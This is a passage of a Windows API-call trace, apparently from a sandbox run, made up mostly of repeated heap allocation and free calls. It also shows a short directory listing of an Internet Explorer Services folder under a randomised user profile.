dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.414] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.414] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.415] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.415] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.416] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.416] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.416] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.416] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.416] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.416] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.416] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.416] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.416] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.416] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.416] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.416] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.416] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.416] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.416] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.416] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.416] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.416] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.416] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.416] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.416] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.416] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.416] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.416] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.416] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.416] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.416] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.416] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.416] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.416] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.417] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.417] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.417] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.417] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.417] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.417] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.417] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.417] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.417] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.417] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.417] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.417] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.417] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.417] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.417] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.417] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.417] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.417] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.417] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.417] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.417] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.417] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.417] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.417] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.417] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.417] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.417] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.417] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.417] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.417] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.418] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.418] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.418] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.418] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.418] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.418] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.418] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.418] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.418] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.418] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.418] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.418] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.418] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.418] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.418] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.418] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.418] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.418] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.418] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.418] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.418] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.418] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.418] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.418] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.418] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.418] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.418] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.418] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.418] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.418] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.418] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.418] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.419] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.419] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.419] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.419] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.419] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.419] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.419] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.419] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.419] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.419] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.419] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.419] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.419] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.419] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.419] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.419] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.419] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.419] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.419] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.419] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.419] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.419] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.419] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.419] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.419] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.419] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\") returned="Services\\" [0127.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0127.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd110 [0127.420] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.420] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0127.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0127.420] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0127.420] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd110 | out: hHeap=0x5c0000) returned 1 [0127.420] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.420] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0127.420] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0127.420] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.420] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0127.420] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0127.420] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0127.420] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0127.420] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.420] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.420] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.420] PathFindFileNameW (pszPath="") returned="" [0127.420] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.420] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.421] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.421] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.421] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0127.422] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e388 | out: hHeap=0x5c0000) returned 1 [0127.422] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0127.422] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0520 | out: hHeap=0x5c0000) returned 1 [0127.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0520 [0127.422] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.422] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | 